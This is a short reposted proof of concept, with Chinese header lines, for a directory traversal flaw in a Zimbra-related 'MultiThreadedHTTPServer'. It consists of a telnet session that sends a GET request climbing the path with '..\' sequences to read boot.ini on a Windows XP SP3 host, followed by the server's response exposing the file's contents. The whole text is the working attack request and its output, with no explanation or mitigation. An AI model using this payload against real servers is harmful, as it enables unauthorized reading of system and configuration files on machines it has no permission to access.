转载：http://sb3389.com

测试：Windows XP SP3

root@olovely:/ddpwn#

telnet 192.168.1.252 80
Trying 192.168.1.252…
Connected to 192.168.1.252.
Escape character is ‘^]’.
GET /..\..\\..\..\\..\..\\..\..\\\boot.ini HTTP/1.0
HTTP/1.0 200 OK
MultiThreadedHTTPServer(GET, HEAD ,POST supported) for Zimbra implemented by rajeev kumar
Date: Tue Apr 20 00:47:16 CDT 2010

Content-length: 211

Last Modified: Sun Apr 11 10:56:09 CDT 2010

Content-type: unknown/unknown

[boot loader]

timeout=30

default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS

[operating systems]

multi(0)disk(0)rdisk(0)partition(1)\WINDOWS=”Microsoft Windows XP Professional” /noexecute=optin /fastdetect

Connection closed by foreign host.

root@olovely:/ddpwn#

关闭连接主机。